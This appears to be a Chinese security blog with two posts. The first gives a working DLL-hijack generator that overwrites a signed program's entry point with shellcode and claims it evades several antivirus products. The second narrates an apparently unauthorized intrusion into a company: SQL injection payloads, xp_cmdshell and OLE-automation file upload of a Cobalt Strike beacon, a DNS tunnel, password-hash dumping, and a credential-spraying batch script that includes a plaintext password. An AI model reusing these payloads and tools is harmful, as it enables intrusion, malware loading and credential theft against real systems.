白加黑-IAT类型程序dllmain加载shellcode

前言

项目地址:https://github.com/9bie/iatHijackGenerate

白加黑,不必多说,然后,想舒服的用上白加黑,肯定基本都是上shellcode的。

但是,直接注入,又容易被主动防御或者各种行为规则拦截。毕竟如果直接openremoteprocess,writeprocessmemory,别说不过主防了,静态查杀估计都过不了,那么如何办呢?

基本第一个想法就是直接在本进程使用加密过后的shellcode,但是,在白加黑的时候又会出现一个问题。

直接放dllmain,boom,shellcode会爆炸,比如死锁啊,但是更主要的原因其实还是内存没有展开,直接执行shellcode会爆炸。

解决方法是新启动一个线程,直接CreateThread,shua的一下解决,但是问题又来了。

createThread之后,主程序如果退出了,你的shellcode线程也跟着退出了,然后我们白加黑的时候,大部分都是直接拆出最小单元的,基本就是运行加载了DLL就退出,压根没有shellcode的执行时间。

网络上的解决方案是寻找直接被调用的导出函数进行劫持,然而众所周知,程序逻辑千奇百怪,开局就调用DLL的少,开局调用DLL还是白名单的就更少了。于是,还是得靠着自己想想办法。

解决方案

和Loadlibrary不通,Loadlibrary方式调用的DLL,得在程序执行到那个地方的时候才会调用DLL,然而程序调用的时机千奇百怪,这样我们可选的内容就少了,虽然说可以使用特征码搜索Loadlibrary来筛选我们想要的程序,但是还是不够通用。

我们把目标换到另外一种调用方式,导入表调用。这种调用是在程序执行开头,解析PE头的时候就调用DLLMAIN,快速立竿见影,当然缺点也就是会遇到我们上面所说的shellcode在dllmain里。导致各种BOOOM。但是解决方案也很简单,既然DLLMAIN里面会boom,我们把代码放程序的main里不就行了?

过程

最开始我一直以为dll调用是会在新线程里面启动,想着子线程到底如何影响主线程,但是实际上手调试过之后才发现,IAT预载入的DLLMAIN是属于EXE的主进程的。这下不就十分简单了,直接获取入口点。修改代码,搞定

核心代码

MODULEINFO moduleInfoe;
    SIZE_T bytesWritten;

    GetModuleInformation(
        GetCurrentProcess(),         // handle to process
        GetModuleHandle(NULL),         // handle to module
        &moduleInfoe,  // information buffer
        sizeof(moduleInfoe)                 // size of buffer
    );

    char EntryAddr[MAX_PATH] = { 0 };
    _itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 100;
HANDLE currentProcess = GetCurrentProcess();

    WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);

没错,代码就这么点,直接放到dllmain里面然后坐等运行到程序就会执行你的shellcode了

进阶

虽然说代码好些,但是DLL的导出函数需要符合EXE的导入函数才能加载,不然会在PELOADER的时候爆炸,明天有空写一个模板生成器。原理很简单,就是获取正常DLL的导出表,然后我们伪造DLL生成一个跳转代码或者直接nop掉就行了。

唯一担心的就是不知道能不能找到时间摸鱼,最近在校招培训,太痛苦了,不能用电脑不能用手机一周997,比高中还痛苦。我高中初中都没经历过这些啊啊啊啊。我只想日站呜呜呜不想听这些勾八课了。

顺带提一最DLLMAIN里的死锁怎么解决

Loadlibrary调用流程如下

  • 获取加载锁RtlEnterCriticalSection(&LdrpLoaderLock);
  • 尝试加载dll: LdrpFindOrMapDll。
  • 处理导入表信息。
  • 运行回调函数LdrpRunInitializeRoutines。 ->这里实际上也就是我们的DLLMAIN
  • 释放锁RtlLeaveCriticalSection(&LdrpLoaderLock);。

来源:https://blog.csdn.net/xiangbaohui/article/details/103743201

很显然,我们只需要释放掉锁LdrpLoaderLock就行,直接调用RtlLeaveCriticalSection就能解锁。

那么LdrpLoaderLock的位置在哪呢?根据看雪老哥:(https://bbs.pediy.com/thread-185786-1.htm)所说,

 如果想在DllMain里面CreateThread创个线程,并且不让DllMain返回(白利用的节奏,怎么白利用自己玩

   吧,说出来被开...),还是会出现被LdrpLoaderLock全局锁卡主的情况。不想被卡主可以自己主动释放掉
   这把锁,锁的位置在PEB+0x0A0偏移处(+0x0a0 LoaderLock : Ptr32 Void),是在进程初始化的时候由
   全局变量LdrpLoaderLock赋给PEB+0x0A0的

所以,我们目标位置就在PEB+0x0A0,调用RtlLeaveCriticalSection干他就行。

代码

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR  Buffer;
} ANSI_STRING, * PANSI_STRING;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    PVOID Handle;
}CURDIR, * PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    WORD Flags;
    WORD Length;
    ULONG TimeStamp;
    ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    PVOID ConsoleHandle;
    ULONG ConsoleFlags;
    PVOID StandardInput;
    PVOID StandardOutput;
    PVOID StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
    ULONG EnvironmentSize;
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBase;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS                   ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PVOID                   FastPebLockRoutine;
    PVOID                   FastPebUnlockRoutine;
    ULONG                   EnvironmentUpdateCount;
    PVOID* KernelCallbackTable;
    PVOID                   EventLogSection;
    PVOID                   EventLog;
    PVOID                   FreeList;
    ULONG                   TlsExpansionCounter;
    PVOID                   TlsBitmap;
    ULONG                   TlsBitmapBits[0x2];
    PVOID                   ReadOnlySharedMemoryBase;
    PVOID                   ReadOnlySharedMemoryHeap;
    PVOID* ReadOnlyStaticServerData;
    PVOID                   AnsiCodePageData;
    PVOID                   OemCodePageData;
    PVOID                   UnicodeCaseTableData;
    ULONG                   NumberOfProcessors;
    ULONG                   NtGlobalFlag;
    BYTE                    Spare2[0x4];
    LARGE_INTEGER           CriticalSectionTimeout;
    ULONG                   HeapSegmentReserve;
    ULONG                   HeapSegmentCommit;
    ULONG                   HeapDeCommitTotalFreeThreshold;
    ULONG                   HeapDeCommitFreeBlockThreshold;
    ULONG                   NumberOfHeaps;
    ULONG                   MaximumNumberOfHeaps;
    PVOID** ProcessHeaps;
    PVOID                   GdiSharedHandleTable;
    PVOID                   ProcessStarterHelper;
    PVOID                   GdiDCAttributeList;
    PVOID                   LoaderLock;
    ULONG                   OSMajorVersion;
    ULONG                   OSMinorVersion;
    ULONG                   OSBuildNumber;
    ULONG                   OSPlatformId;
    ULONG                   ImageSubSystem;
    ULONG                   ImageSubSystemMajorVersion;
    ULONG                   ImageSubSystemMinorVersion;
    ULONG                   GdiHandleBuffer[0x22];
    ULONG                   PostProcessInitRoutine;
    ULONG                   TlsExpansionBitmap;
    BYTE                    TlsExpansionBitmapBits[0x80];
    ULONG                   SessionId;
} PEB, * PPEB;

PPEB GetPeb(VOID)
{
#if defined(_WIN64)
    return (PPEB)__readgsqword(0x60);
#elif defined(_WIN32)
    return (PPEB)__readfsdword(0x30);
#endif
}
VOID UNLOOK(VOID)
{
        PPEB Peb = GetPeb();
    hModule = GetModuleHandle("ntdll.dll");
    if (hModule == NULL)
        return FALSE;


    typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION CriticalSection);

    RTLLEAVECRITICALSECTION RtlLeaveCriticalSection = NULL;

    RtlLeaveCriticalSection = (RTLLEAVECRITICALSECTION)GetProcAddress((HMODULE)hModule, "RtlLeaveCriticalSection");
    RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)Peb->LoaderLock);
}

快速生成器

代码如下

#include:utf-8
import os, string, shutil,re,sys
import pefile
def GenerateAvailableIATHijackTamplate(module_name,target_dll,output):
    tamplate = '''
#include <windows.h>
#include <Shlwapi.h>
#include<tlhelp32.h>
#include<tchar.h>
#pragma comment( lib, "Shlwapi.lib")
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
'''
    tamplate_end = """
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        MODULEINFO moduleInfoe;
        SIZE_T bytesWritten;
        GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe, sizeof(moduleInfoe));
        unsigned char shellcode[] = "";
        int shellcode_size = 800;
        HANDLE currentProcess = GetCurrentProcess();
        WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);
    }
    else if (dwReason == DLL_PROCESS_DETACH){}
    return TRUE;
}
"""
    pe = pefile.PE(module_name)
    for importeddll in pe.DIRECTORY_ENTRY_IMPORT:
        DllName = str(importeddll.dll,encoding = "utf-8")
        if(DllName != target_dll):
            continue
        print("即将要劫持的目标为:%s,注意,请确保这个DLL不是系统DLL,如果这个DLL是系统DLL可能会无法劫持成功" % DllName)
        i = 1 
        for importedapi in importeddll.imports:
            print(importedapi.name)
            FunctionName = str(importedapi.name,encoding = "utf-8")
            print("导出函数名为:%s" % FunctionName)
            tamplate += """#pragma comment(linker, "/EXPORT:%s=%s,@%s")\n""" % (FunctionName,FunctionName,i)
            i+=1
            tamplate += """EXTERN_C __declspec(naked) void __cdecl %s(void){}\n""" % (FunctionName)
        
    tamplate += tamplate_end
    pe.close()
    print("正在生成代码....")
    print(tamplate)
    print("代码生成完成,正在保存..")
    f = open(output,"w")
    f.write(tamplate)
    f.close()
    print("代码报错完成,请确保编译后的DLL名为:%s" % DllName)
    print("或者使用GCC编译,编译命令如下\n\tgcc %s -lShlwapi -lPsapi -shared -o %s" % (output,target_dll) )
if len(sys.argv) <= 3:
    useage = """
    python iat_dll_hijack.py <你要劫持的目标exe> <报错的DLL> <代码模板保存的路径>
    模板可用vs或者gcc直接编译
    Example: python iat_dll_hijack.py uu.exe ui.dll code.c
    """
    print(useage)
    exit(0)
GenerateAvailableIATHijackTamplate(sys.argv[1],sys.argv[2],sys.argv[3])

使用方法

使用的前提,程序必须是导入表导入的,不能是loadlibrary的,loadlibrary的不能用这个脚本,可以用其他方法处理。

直接把EXE从安装文件夹复制出来,然后双击运行,假设会出现如下报错(找不到DLL的),就说明是可以劫持的
1.jpg
2.jpg
弹窗越少越好,但是不能没有,1个最好,如果有多个就得多次生成文件,我这边这个程序弹了两个。

记录下这些缺少的DLL,依次执行命令

python iat_dll_hijack.py 目标.exe libcef.dll a1.c
python iat_dll_hijack.py 目标.exe encrashrep.dll a2.c

然后修改最后一次报错dll输出的代码,修改DLLmain里面的shellcode。(重要,不然会影响程序执行流程)
然后执行gcc命令编译

gcc a1.c -lShlwapi -lPsapi -shared -o libcef.dll
gcc a2.c -lShlwapi -lPsapi -shared -o encrashrep.dll

3.jpg

然后把生成的dll和目标exe放在一起,双击执行即可上线
4.jpg

缺点

这种类型的导出DLL暂时没办法自动处理
5.jpg

免杀

测试了下,火绒360tianqin都能过,360开了核晶也能白加黑,然后如果这时候使用cs的反射dll加载bypassuac -> com版本,就可以过核晶bypassuac了。

意外竟然能过这么多。

补一个项目地址:https://github.com/9bie/iatHijackGenerate

Tags: iat, 白加黑

记一次手注

闲来无事,日个站玩玩。

要日,就日一波大的。日个小站就结束了也不太好意思(水文章),于是乎就在各种搜索引擎上搜了起来。

于是一家叫做xx报系的邮件系统吸引起了我的注意力,看样子很好日(?),话不多说,开整!

1.png

打点

直接对https://mail.xxxgroup.com/,直接对根域名进行一个子域名的探测,上fofa或者hunter这类东西搜一下,结果并不多,只有44条

2.png

但是里面的系统很有意思,3.png
4.png
有很多这种没有验证码直接登录的站点。随手试了试admin/123456这类超级超级弱口令,没有结果,后台挂着xray,注入什么也挂着,都没有什么结果。dirsearch扫了目录,也没有什么结果(指不能getshell),端口也扫了,都没啥结果,常规的手段都试过了。供应链看样子也没什么可以打的,估计都是自己开发的

同时还有gitlab,但是并没有什么洞

5.png

从hunter上的这个域名来看,确实搜不到什么信息。虽然此时可以开始进行一个弱口令爆破,但是不急,一般我回选择把这种有针对性的爆破放到最后做,因为这个步骤流量太大了,十分显眼,并且我们现在也没有合适的用户名字典。

继续把目光看向刚刚的搜索结果,这些结果中,我们可以发现,大多数的站点都处于

  • 124.9.11.x
  • 124.9.2.x

当中,我们非常有理由他们可能持有这几个C段,这几个C段上肯定有他们的其他资产信息,上goby直接在外网进行一个扫
6.png
C段内发现了一堆zyxel设备和一个outllook的owa,试了试Nday,并没有什么结果

但是额外发现了一个看上去有用的论坛系统vBulletin 3.7.1
7.png
并没有什么Nday,但是可以进行一个注册,注册后可以浏览系统已注册的用户名,然而看不到邮箱。

但是至少给我们的用户名字典(如果有需要的话),增加了一些信息,然而可惜的是注册还没五分钟我的账号就被删除并且被T了出来。没截到图,为了不打草惊蛇所以先pass。

换个思路,直接用hunter,对他们企业名字进行搜索

8.png

资产多了起来,但是也多了很多不想干的内容,此时,我发现了一个东西https://insightx.xxxmembers.cloud/

9.png

他们使用sso的登录,用的是之前xxxgroup.com的sso,并且根据域名,感觉像是内部使用的一个域名,并不像是对外商用的,立刻进行一波子域名搜索。上oneforall,和hunter辅助查询,只查到了另外一个域名https://datahub.xxxmembers.cloud/
10.png
11.png
12.png
果然,不知提供了API,甚至提供了SQL语句,我严重怀疑这里是不是有注入,正当我兴高采烈的访问的时候。
13.png
。。。。。没事了,但是我还是不甘心,对着目录搜索了一通,
14.png
看到了个login.jsp,直接对着源码进行一个的看,看到了一堆未授权的页面,但是都是测试页面,继续pass

此时已经开始有点心灰意冷了,打开了github,打算开始,啊传统艺能弱口令和数据泄露,甚至看到了这东西
15.png

这不是想睡觉了正好有人给我送枕头吗?整直接准备拿着这份表进行爆破的时候,我发现了它

16.png
17.png

一个完全孤立于其他站点的,甚至除了图片素材没有其他信息有关我们目标的站。

当时我已经心灰意冷了,挂着xray,于是乎随手试了试admin/admin,test/test之类的,然后就去上了个厕所吃了个饭打了把游戏摸了会鱼跑回来(?????),没啥信息,但是我良好的习惯让我随手输了admin',报错了
18.png
我:??????,再次检查了下xray report。没有啥信息,其实我挂xray主要就是用来被动检测sql的,不然我也不会挂这东西,流量太大了,但是xray的被动扫描sql注入确实好用

然而这么明显的报错注入没扫描出来?就十分的神奇,直接套上sqlmap,结果都是timeout,换了代理UA啥的都不行,怪不得xray扫不出来。

于是乎愉快的上了burp中转,终于跑起来了
19.png

但是他只抛出了timebased注入,甚至使用os-shell还没有回显。

一开始我以为不能堆叠注入,使用a';select 1 where 1='a'--,是不报错的.甚至直接绕过了登陆验证
20.png
但是如果你再堆叠的第二行语句输入错误的语法,它还是会检查语法正确性的a';select asdasdasd--
21.png

这时候直接进行一个基本信息的看,select @@version
22.png
我看了看这个Windows NT 5.0 (Build 2195: Service Pack 4),人麻了,这不是windows 2000吗??
再看了看这个WEB的IIS 8.5,怎么也不相信一个windows 2000的机器能跑的动IIS 8.5,得了,站库分离

想着先注入密码进后台看看先,直接使用万能密码绕过,会出现没权限的问题。

我以为是用户名的问题,可能后续的语句验证了用户名?反正它给了完整SQL语句select ID from ACCOUNT with (NOLOCK) wheree xxxxx
,直接用这个对它的语句进行一个用户名的搜索a' and 1=(select top 1 ID from ACCOUNT)--

23.jpg

???怎么还有人用当用户名的。继续万能密码,依旧无权限。我想这可能是这个用户没权限,毕竟哪有人拿当用户名的,使用a' and 1=(select top 1 ID from ACCOUNT where ID NOT IN (select top 1 ID from ACCOUNT))--,

接下来查出了个中文用户名,绕过失败,我不信邪,密码,注!
24.jpg
人麻了这是什么hash?好在这个sql注入把我们的密码也编码进去了,我随便输入个密码123456,它语句里我的密码是
25.jpg
十分的规律,一眼顶针,鉴定为ASCII凯撒。看了一下,6位为一个字,前面6为000079是固定不用管,直接和原本的ascii进行相减,知道了密码是ascii+42,好的,前面000xxx知道是什么了,后面的-xxx-xxx又是什么呢?
看到了中文名,啊,想了下也许是UNICODE,试了试,好的成了,没事了。验证通过

就是依旧没有权限进入系统!!!!!!

我那个气,开始直接注数据库

首先看了下,确定数据库确实有DBA,使用了os-shell,whoami这些都没有结果,但是,ping,dnslog有回显

确确实实的有回显!!!!!!

这时候,啊,就是考虑传马上去了,首先先探测网络环境,因为sqlmap查出来的是timebased,所以想着可不可以用远程下载

思考windows 2000有没有什么东西能远程下载,为此特地装了个windows 2000的虚拟机

certutil肯定是没有的,但是有ftp和hh.exe。直接运行了hh.exe上去,发现我服务器并没有web请求,冷汗流了下来。

由于堆叠注入实在是没有回显,我真的很怀疑这个dnslog的回显到底是不是真的。我心里此时想到了一个很可怕的BT防御手法

26.jpg

世界上怎么会有这么坏的人,气抖冷。

然后使用sqlmap自带的上传,,上传的速度过于捉急。经过powershell写过一轮,vbs写过一轮,debug写过一轮。。。。

太慢了,最后还是选择抛弃了sqlmap。进行手注入

首先先试着看看能不能读到回显。

使用语句a';drop table ccc99;create table ccc99 (dir nvarchar(4000));insert into ccc99(dir) exec master..xp_cmdshell 'whoami';--

然后用报错注入a' and 1=convert(int,(select top 1 * from ccc99))--,发现并没有回显,心灰意冷百思不得其解,于是乎我在本地试了一下whoami,发现windows 2000并没有whoami命令,啊这,得了,没事了。

继续,随手执行了个dir

27.jpg

ohhhhhhhh,这玩意是真的可以执行命令,啊,二话不说,打算上传一个马上去。

使用命令

DECLARE @DATA VARBINARY(4000);
DECLARE @filepath VARCHAR(4000);
set @DATA = 0xxxxxxxx
set @filepath='C:\info.dll';
DECLARE @ObjectToken INT;
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;
EXEC sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_OAMethod @ObjectToken, 'Open';
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA;
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;
EXEC sp_OAMethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
SELECT @filepath--

直接试图写exe上去,此时遇到了一个坑,还得我整了好久。当用这个脚本成功写了个txt,并用

a';drop table resultasd;create table resultasd(res varchar(8000));bulk insert resultasd from 'c:/winnt/temp/zzz.txt';--

再用报错注入成功读取到txt的内容之后,我确信了这个sql上传没有问题!!!!
不过与此同时,我确实确定了一个信息,那就是这玩意好像是不出网的,用了ftp -s:xxx.txt测试了一下,并没有收到tcp端口请求

但是我贼心不死,想着没准能udp出网呢?甚至写了一个探针
28.jpg

用于探测tcp/udp是否出网。

然后就是转换成hex,愉快的上传,上传之前本地测试了一下,vs2022编译,是没法在win2k运行的,nmd怎么回事?

但是GCC编译的却可以,草,海星,没事了。gcc编译就gcc编译吧

一运行,没反应。我:?,上传成dll,用rundll32运行,没反应,我:??

本地win2k环境rundll32环境测试过的,是可以调用dll的

我开始怀疑是不是有奇怪的杀软,或者牛逼的HIPS/HIDS拦截进程的启动了。

此时我开始测试各种奇怪的方法,比如写出写出写出vbs执行程序,vbs写txt,,写出bat执行程序

结果当然是,没有找到vbs写出的txt,vbs压根没执行成功,bat里面放了个ping,执行以下,dnslog被触发了,说明bat执行力成功,但是没有成功起了我们的程序。

但是我用cmd执行一些系统其他的exe是可以的,最典型的就是之前的ping.exe是可以执行成功的

心里想着啥HIPS。你妈的这么牛逼?win2k还拦截的这么六?想要查查进程。

tasklist一运行,没有这个指令,啊,没事了。

那么没有vbs,没有tasklist,该如何查看进程呢?经过wbg的一番提点,啊,才记起来,sqlserver是可以调用com的。

最典型的就是

declare @shell int ;
exec sp_oacreate 'wscript.shell',@shell output ;
exec sp_oamethod @shell,'run',null,'cmd /c xxxx';--

为此,我甚至改造了个直接调用wmi的

declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000)
EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT;
EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';
EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe''';
EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor';
EXEC sp_OASetProperty @objFull,'ControlFlags',4;
EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull;

这玩意甚至能连接远程服务器,当然我sqlserver和com的语法不熟,纯sql列出进程始终没捣鼓出来,最后还是使用了ScriptControl,调用了Jscript,再通过Jscript调用wmi列出进程写道txt

DECLARE @js1 int;
EXEC sp_OACreate 'ScriptControl',@js1 OUT;EXEC sp_OASetProperty @js1, 'Language', 'JavaScript1.1';
EXEC sp_OAMethod @js1, 'Eval', NULL, '
fso = new ActiveXObject("Scripting.FilesystemObject");
wsh = new ActiveXObject("WScript.Shell");
var locator=new ActiveXObject("WbemScripting.SWbemLocator");
var service=locator.ConnectServer(".","root/cimv2");
var colItems=service.ExecQuery("select * from Win32_Process");
var e=new Enumerator(colItems);
var t1=new Date().valueOf();
var fso  = new ActiveXObject("Scripting.FileSystemObject");
var fh = fso.CreateTextFile("c:\\proc3.txt", true);
for(;!e.atEnd();e.moveNext()){
  var p=e.item();
  fh.WriteLine(p.Caption+"   "+p.Handle);
  if(p.Caption=="CMD.EXE"){p.terminate();}
  if(p.Caption=="wscript.exe"){p.terminate();}
  if(p.Caption=="asdfg.exe"){p.terminate();}
};
fh.Close();'; --

最后成功的读出了进程列表

System
System Idle Process
SMSS.EXE
CSRSS.EXE
WINLOGON.EXE
SERVICES.EXE
LSASS.EXE
termsrv.exe
svchost.exe
Smc.exe
ccSvcHst.exe
spoolsv.exe
cissesrv.exe
CpqRcmc.exe
vcagent.exe
LLSSRV.EXE
sqlservr.exe
mstask.exe
SNMP.EXE
Rtvscan.exe
sysdown.exe
smhstart.exe
hpsmhd.exe
vmtoolsd.exe
vmware-converte
rotatelogs.exe
WinMgmt.exe

好家伙,赛门铁克,但是问题是,根据我的了解,赛门铁克这玩意十分的弟弟,不应该有这个效果啊,
甚至从PY了个windows 2000的安装包,装上去试了下,确实也没有这个效果。

一筹莫展之际,此时的我都已经正在使用vc++6.0打算写一个com组件上传个dll然后让sqlserver调用我这个自制的com来绕过这个神秘的“HIDS”了。

然后在本地测试的时候,我发现了个问题,我本地写出30kb的文件,最后落地只有3kb多。然后认真检查脚本
29.jpg
啊这,我上传脚本的变量大小没改。。。。。。。。草李莱莱,好歹你给我报个错误啊草草草啊啊啊啊啊啊啊

我试图直接改成10000000,但是tmd,sqlserver 2000的最大只支持8000。俺寻思这不是好说,俺多定义几个变量,多write几下,然后就发现了

30.jpg

nmd怎么还有最大限制64kb,不过之前用gcc编译的探针倒是成功上传上去并运行了,(gcc编译的只有29kb)。udp不出网。icmp也不出,只有dns出。

于是乎穿一个cs的beacon上去,无阶段的,全场264kb,分了好几个文件,为此还特地写了个脚本

import sys
import binascii
from urllib.parse import quote
path = sys.argv[1]
f = open(path, "rb");
binary = f.read()
f.close();
length = len(binary)
count = int(length / 8000) + 1
strs = ""
i=0
while (True):

    if i == 0:
        print("chunk 0-8000")
        strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[0:8000]).decode() + ";"

    elif i * 8000 < length and (i+1) * 8000 < length :
        print("chunk "+str(8000*i)+"-"+str(8000*(i+1)))

        strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * i:8000 * (i + 1)]).decode() + ";"
    if i * 8000 > length:
        print("chunk " + str(8000 * (i-1)) + "-" + str(length))
        strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * (i-1):]).decode() + ";"
        break
    i += 1
defines =  "DECLARE @filepath VARCHAR(4000);"
for i2 in range(0,i+1):
    defines = defines + "DECLARE @DATA"+str(i2)+" VARBINARY(8000);"

zhongjian ="set @filepath='C:\\f"+path+"';DECLARE @ObjectToken INT;EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;EXEC sp_OASetProperty @ObjectToken, 'Type', 1;EXEC sp_OAMethod @ObjectToken, 'Open';"

writes = ""
for i3 in range(0,i+1):
    writes = writes + "EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA"+str(i3)+";"
ends="""EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;EXEC sp_OAMethod @ObjectToken, 'Close';EXEC sp_OADestroy @ObjectToken;SELECT @filepath--"""
f2 = open(path+".txt","w")
f2.write(defines+strs+zhongjian+writes+ends)

之后使用copy /b把写入的分块整合成一个文件,运行。

上线了,但是又等于没上。

本机测试,windows 2k的cs,在checkin之后,就直接boom掉了
31.jpg
我以为是cs的问题,测试了几个版本

从3.14,3.8.4.4,其中,要不是上线就boom,要不是就是或者,但是不交互,总之各种运行不起来,

最后无奈,全网寻找一个能用的windwos的dns反弹马,找了半天,啊,没找到。

最后发现了DNSCAT2这个项目,它提供了sln,于是乎,下载了vs2008,经过一通修改,最终成功在windows 2000下运行成功
32.jpg
然后,上传,最后,终于可算是上线了
33.jpg
net time看了下,有域,甚至还是个B段
34.jpg
查了下,域内一千六百多台机器,不过现在首要的目标,当然还是先找个能出网的,

只要有出网的机器,怎么日我都大体想好了,啊,直接进行一个socks的搭

然后进行一个nopac/zerologon的打

最后再进行一个域的控

或者

直接进行一个ms17010啊不对,ms17010都太过了,直接08067都可以,把内网什么勾八windows 2k xp ,2003都给tmd打了

然后进行一个域管密码的抓

最后再nmd进行一个域控的登。

美滋滋是不是?然而幻想是很美好的,我们还是得先打tmd一个出网的机器

这个破DNS实在是太太太太太太慢了,如何漫游呢?

答案当然先是使用vbs,wmiexec,不过咱们得先把本机凭据抓了。

windows 2000下抓凭据,用什么mimiaktz是不好使的,也太大了,什么porcdump也不行,但是有一个远古工具,pwdump6,可以在windows2000下运行。
35.jpg
用这破比东西传这500k的东西花了一个多小时。

成功dump出hash
37.jpg
然后上传wmiexec.vbs,执行
发现了一个问题
38.jpg
怪不得nmd什么vbs都执行不了,原来是这个关了,想执行reg add修改组策略。但是win2k甚至连reg.exe都没有

怎么解决也很简单,本地改完导出一个x.reg文件,上传上去用regedit /s导入reg文件就解决了。

原本是想直接跑的,但是,我看了下,我们的主机名叫做WFDBP3,然后查了下,
39.jpg
俺寻思,他们肯定也是sql server服务器,甚至密码会不会都是一样的?

通过注入查询到本机sql密码很简单,重点是问题是如何连接。

正当我想上github找cli工具的时候,我想,不对,这堂堂sqlserver,目录下应该肯定有cli工具吧

于是乎去目录翻了一眼:此时一个叫做osql.exe的程序吸引了我注意

40.jpg

但是/h没有任何帮助,然而msdn上有相关用法

osql  
[-?] |  
[-L] |  
[  
  {  
     {-Ulogin_id [-Ppassword]} | -E }  
     [-Sserver_name[\instance_name]] [-Hwksta_name] [-ddb_name]  
     [-ltime_out] [-ttime_out] [-hheaders]  
     [-scol_separator] [-wcolumn_width] [-apacket_size]  
     [-e] [-I] [-D data_source_name]  
     [-ccmd_end] [-q "query"] [-Q"query"]  
     [-n] [-merror_level] [-r {0 | 1}]  
     [-iinput_file] [-ooutput_file] [-p]  
     [-b] [-u] [-R] [-O]  
]  

果不其然!!!!,直接用这个osql对着我们身边同样看似sqlserver的主机连接
41.jpg
最后成功漫游到了WFDBP4上,是一台windows xp,然而实际上并不出网。

试图上cs,但是结果nmd依旧是上线后半天不鸟我,气死了啊啊啊啊啊啊啊

抓个密码,如何抓?

上传mimiaktz,太大了,被杀。系统自带的dump工具dump一个lsass,几十MB更大,更不可行,最后只有用注册表导出sam然后脱回来,体积最小感觉最OK

43.jpg
拖出来的两个文件,也就5MB,但是tmd下载回来下了四小时。难蚌

其中administrator两台密码都是一样的,理论上其他密码也是一样,但是wmiexec就是用不了,不知道为什么,非常的奇妙,倒是用了其他的用户使用wmiexec,使用了正确的账号密码才可以

而且还有一个坑,wmiexec,用IP连接的话是没有回显的,必须得用主机名连接。

不过一个一个爆破的速度实在是太慢了,写个bat,使用这些抓到的凭据对当前C段进行探测

@echo off 
@for /L %%n in (20, 1, 33) do ( 
    cscript w2.vbs /cmd 10.19.21.%%n administrator wf2k22yr-jun16 whoami >> a.txt 2>&1
    cscript w2.vbs /cmd 10.19.21.%%n sopadmin admin whoami >> a.txt 2>&1
    cscript w2.vbs /cmd 10.19.21.%%n vista vista whoami >> a.txt 2>&1
) 

42.jpg

成功又探测到一台服务器,而且这台主机名是APP,也就是说上面部署着服务,可能是web
44.jpg
确实有web,再用vbs脚本,请求下网页看看有没有暴露在外网

Set Post = CreateObject("Microsoft.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
